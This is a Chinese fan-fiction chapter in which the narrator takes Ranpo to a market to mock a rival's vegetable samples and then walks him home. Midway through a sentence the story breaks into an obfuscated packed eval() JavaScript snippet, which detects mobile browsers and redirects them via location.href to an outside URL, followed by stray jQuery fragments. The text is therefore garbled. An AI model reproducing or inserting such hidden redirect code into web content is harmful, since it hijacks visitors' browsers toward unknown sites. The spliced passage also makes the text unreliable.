乱步轻轻叹了口气，随意地甩了甩被我拽住的袖子：“我不去。”


    “去嘛！”我立刻软下语气，脸上露出恳切的表情。


    乱步眯着眼睛，看着我不说话，仿佛已经开始思考人生。


    我趁机使出杀手锏，双手合十，满脸诚恳地看着他：“拜托了乱步老师！我就只能靠你了！”


    “……”


    “乱步老师？”我试探性地喊了一声。


    乱步的眼皮终于动了动，他叹了一口气，随手把披风的领子拽了拽，慢悠悠地说：“……唉，真是拿你没办法。”


    “那就这么说定了，乱步老师！”我眼神坚定，一把拽着他加快脚步，直奔市场。


    ------


    我非要拉乱步过来，完全是为了做市场调查，绝对不是因为一个人试吃太无聊。


    作为一个志在垄断（误）的农场主，我必须时刻掌握市场动态。要想在蔬菜界称霸，就得先搞清楚同行都在卖些什么，


    不过，单纯自己试吃，未免有些无聊，而且吃到难吃的东西时没人吐槽也太寂寞了。所以，我理直气壮地拖上了乱步。


    市场的喧嚣声此起彼伏，各种小贩的吆喝交织在一起，唯独我们面前的试吃摊位，气氛安静得过分，只有胡萝卜炒牛蒡的香气在空气中弥漫。摊主大叔满脸自信，手里铲子一翻，热腾腾的试吃小碟立刻摆上了桌。


    几位主妇围着摊位，手里拿着小碟，脸上的表情微妙地停留在“好像还行”和“这怎么夸”之间，嘴上却还要强行夸两句：“嗯……挺香的？”“对对，挺……有嚼劲。”但谁都没有动手拿第二口。


    ……很可疑。


    我挑眉，伸手夹起一小块牛蒡，慢慢地放进嘴里，嚼了两下，表情逐渐空洞。


    “……太普通了。”


    站在旁边的乱步双手插兜，半眯着眼，看上去对这一切都提不起兴趣，只是听见我说话，眼皮微微抬了抬：“嗯？”


    我神情严肃地尝了一口溏心蛋，咀嚼几下后，缓缓地开口：“这蛋……毫无灵魂。”


    乱步终于动了动，懒洋洋地伸手，从盘子里随意夹起一块胡萝卜，慢悠悠地咬了一口，眼神微微变化，认真地咀嚼起来。


    他的眉毛轻轻皱了一下。


    “嗯……”


    围观的主妇们纷纷放下了手中的叉子，带着一点紧张的目光看向他。


    摊主大叔笑呵呵地问：“怎么样？我们的胡萝卜可都是当天采摘的！”


    乱步含着胡萝卜，目光深邃地盯着筷子上的一小块，像是在进行某种分析，随即缓缓点头，语气认真：“嗯，这个口感……”


    我看向他，眼神里全是期待，“对吧对吧？你也发现了吧？是不是像……？”


    摊主满脸期待：“是吧是吧？是不是很香？”


    乱步慢悠悠地闭了闭眼，沉思了两秒，随即睁开眼，缓缓开口：“让我想起了上个月在某家普通连锁超市买到的……”


    摊主脸上的笑容僵了一瞬。


    主妇们的也表情逐渐变得微妙，开始小声讨论。


    摊主连忙打圆场，手脚麻利地拿起另一盘试吃：“哈哈，客人嘴巴真刁！那试试这个烤土豆，我们家的特产！”


    我伸手拿起一块烤土豆，轻轻掂量了一下重量，心中已经有了不好的预感。咬下去的一瞬间，果然。


    “……像泡水泡了一夜的抹布。”


    乱步听见我的评价，挑了挑眉，眨了眨眼，懒洋洋地接过一块，也咬了一口，咀嚼两下，表情微妙：“唔……” 他缓缓抬头，看向摊主，“你家的土豆，是水洗过之后直接放烤箱的吗？”


    摊主愣了一下：“呃，是的，我们坚持健康低油。”


    乱步“啧”了一声，叼着土豆，懒洋洋地嘟囔：“可惜，水没擦干。”


    围观的主妇们明显动摇了，有人低头看了看自己手里的土豆，悄悄放了回去。


    摊主脸色微变，急忙道：“那、那个，来试试生菜沙拉！我们这里的生菜可新鲜了！”


    我和乱步同时低头，看向那盘生菜。


    乱步夹起一片生菜，举到光下看了看：“这个颜色……”


    我皱眉，补充：“有点惨。”


    乱步咬了一口，咀嚼，表情更加微妙：“涩。”


    “苦。” 我深吸一口气。


    “无味。” 乱步若有所思地补充。


    “没救。” 我果断评价。


    摊主的笑容卡在脸上，围观的主妇们窃窃私语，四周安静得只剩下摊位后面苍蝇飞过的嗡嗡声。


    “你们两个……”摊主嘴角抽搐，“好像对食物很讲究啊……”


    乱步懒洋洋地啃着最后一口土豆，淡定道：“不讲究怎么行？毕竟我们——”他顿了一下，转头看向我，“你说我们什么来着？”


    我看着摊主，语气不疾不徐：“我们家蔬菜的品质，完全不是一个档次的。”


    摊主愣住，主妇们也纷纷睁大眼睛，空气瞬间充满了一种难以言喻的紧张感。


    “……啊？”摊主嘴角微微抽动。


    我眯起眼睛，语气认真：“我们家的蔬菜，都是顶级品质。”


    乱步点头，补充道：“比如胡萝卜，比这个甜，口感比这个脆，颜色比这个漂亮。”


    “土豆，细腻、绵软、不干、不柴，煎炒炖炸样样皆宜。” 我继续说道。


    乱步再补充：“生菜，新鲜爽脆，一口咬下去就像清晨的露水。”


    主妇们表情动摇，纷纷露出期待的神色。


    “听起来好厉害……”有人小声嘀咕。


    “真的那么好？”有人犹豫。


    摊主的脸色终于变了，试图稳住阵脚，但已经来不及了。


    乱步懒洋洋地拍了拍我的肩：“那要不，让他们试试？”


    我瞬间会意，从口袋里掏出两根我们家农场的胡萝卜，啪地一声放在摊位上。


    “那就比较一下吧。”我微笑道。


    主妇们瞬间炸开了锅。


    “诶诶！可以试试吗？”


    “我也想吃看看！”


    摊主的嘴角微微抽搐，似乎已经意识到了事态的严重性。他沉默了一瞬，随即猛地一拍摊位，声音发颤：“不用试了！今天的试吃到此为止！”


    话音刚落，他迅速收拾起盘子，把生菜往桶里一扔，胡萝卜倒进篮子，手脚麻利得像是突然想起家里煤气忘关了。


    主妇们愣住：“诶？怎么突然不卖了？”


    摊主目光危险地看着我们，嘴角的笑容消失得干干净净，像是在强压着什么，神情不太友好。


    察觉到气氛不太对，我拉了拉乱步的衣角，语气自然地找补道：“行吧，市场调查结束。”


    乱步被我拽着离开，还在慢悠悠地咀嚼胡萝卜：“唔，我觉得他好像想打我们？”


    “嗯，你才发现？”我语气平静。


    背后，摊主的目光像钉子一样钉在我们身上，而我们两个悠闲地晃荡着离开，胡萝卜的脆响在街头回荡，像胜利的号角。


    -------


    市场的喧嚣渐渐散去，街道上只剩零星的行人和昏黄的路灯。我拍了拍手上的尘土，伸了个懒腰，懒洋洋地打了个哈欠：“好了，今天的事也算结束了，那我回家了。”


    乱步站在原地，歪了歪头，眼睛亮亮的：“送我。”


    我脚步一顿，怀疑自己听错了：“啊？”


    乱步眨了眨眼，语气特别理


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098483|162160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所当然：“送我回家。”


    我看了他一眼，试图从他的表情里找出“玩笑”两个字，结果只看到真诚。我没忍住皱了皱眉：“……为什么？”


    “我不认路。”


    我沉默了两秒，缓缓地看着眼前这个二十几岁的大人，表情复杂：“你是怎么活到这么大的？”


    乱步想了想，认真地回答：“有人会送我。”


    这回答给人的震撼甚至超过了他不认路的事实。


    “你每天都有人送？”我不死心地问。


    他点了点头，态度十分坦然。


    我缓缓地吸了一口气，平静地低头揉了揉太阳穴。


    “认路太麻烦了。”他慢悠悠地补充。


    沉默，浓烈的沉默。我试图挣扎，努力让他意识到自己身为成年人的基本素养：“那你就学着认路吧！”


    “不要。”他拒绝得干脆利落。


    我嘴角微微抽了抽，继续劝说：“你迟早会有走丢的一天。”


    他轻哼了一声，像是完全不把这事放在心上：“走丢了，就等着别人来找我。”


    这回连呼吸的空气都沉重了一些，我扶着额头，思考着要不要放任他自生自灭……不过就算真放着不管，用不了多久，估计就会在侦探社门口发现一只迷路的乱步。


    我思考了一下该如何拒绝，但还没等我继续教育他“一个大人应该具备基本的独立生活能力”，他的手就已经伸过来，直接握住了我的袖口，轻轻晃了晃：“快走啦。”


    袖口被扯得微微起皱，我低头看着他拽着我的手，深吸了一口气。……这架势，要是不答应，他下一秒恐怕就会直接挂到我身上了。


    无奈，我只能叹了口气，伸手拍了拍他的头：“走吧。”


    乱步的眼睛微微弯起，步伐轻快地往前走了两步，忽然又折回来，顺势挨到我身边，手自然地伸过来，直接握住了我的手腕。


    我沉默地看了看他，又看了看自己被他握住的手腕，语气平静：“牵着走？”


    “牵着走。”他语气特别认真，仿佛这是一件天经地义的事。


    我语气微妙地问：“你到底几岁？”


    他眯着眼笑了一下，得意洋洋：“哼哼，天才是不能用普通人的标准衡量的。”


    “是是，会迷路的天才大人。”


    空气安静了两秒，我试图抽回手，却发现他握得还挺牢。


    “放手。”我警告。


    “不放。”他态度坚决。


    “为什么？”


    “抓着比较安心。”他语气特别理所当然。


    “……”


    “你是小孩吗？”


    “不是啊。”他理直气壮地回答，眼睛亮亮的，“不过如果你觉得我是，那也挺不错的吧？”


    ……这人真的很擅长用毫无逻辑的回答让人无话可说。


    无奈之下，我只能带着他慢悠悠地往回走。乱步的步伐很轻快，像踩在云朵上，偶尔会轻轻蹭一下我的手臂，像只黏人的小动物。我尝试甩开几次，结果他的手就像钩子一样，粘得更牢了。


    我看了眼他的手，想了想自己也懒得挣扎了，随便吧，就当遛猫了。


    走到巷口，他忽然停下，仰头看着我，眯着眼睛笑了一下：“今天玩得很开心。”


    我眨了眨眼，看着他脸上轻松的表情。


    “还会再送我吗？”


    “不。”我果断回答。


    “骗人。”


    他轻快地笑了一声，晃了晃牵着我的手，随后才慢悠悠地松开，像只终于回到窝里的猫，慢吞吞地走进了家门。


    我站在原地，看着那扇门缓缓合上，最终缓缓叹了口气。


    ……这个人，真的很难拒绝。